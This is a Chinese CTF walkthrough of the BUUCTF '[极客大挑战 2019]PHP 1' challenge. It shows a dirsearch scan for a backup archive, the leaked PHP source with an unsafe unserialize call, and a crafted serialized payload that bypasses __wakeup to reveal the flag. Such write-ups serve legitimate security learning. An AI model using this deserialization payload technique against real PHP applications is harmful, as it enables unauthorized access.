[极客大挑战 2019]PHP 1

作者：盐析白兔 | 2024-04-21 17:31:49

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[极客大挑战 2019]php 1

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[极客大挑战 2019]PHP 1

题目
一、做题步骤

题目

BUUCTF的[极客大挑战 2019]PHP 1
在这里插入图片描述

一、做题步骤

1.查看源代码

1.发现有备份网站的习惯
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2.使用dirsearch脚本测出网站的备份文件
python dirsearch.py -u http://c968ccc8-0e24-48da-8a6a-59fdf5a59950.node4.buuoj.cn:81/ -e *
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3.发现备份文件为www.zip,下载查看源码

2.审计代码

index.php

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>
<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我！！！
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>
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class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();          
        }
    }
}
?>
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flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
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审计代码后，发现这题是要做反序列化

3.反序列化wp

<?php
    class Name{
        private $username = 'admin';
        private $password = '100';
        }
     $a=new Name();
        echo serialize($a); ?>
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结果

O:4:“Name”:2:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;s:3:“100”;}

wakeup()过滤，将2改成3，绕过wakeup()函数

O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;s:3:“100”;}

得到flag{e2a28d4e-6748-4e8c-b2e7-b6c82c264926}
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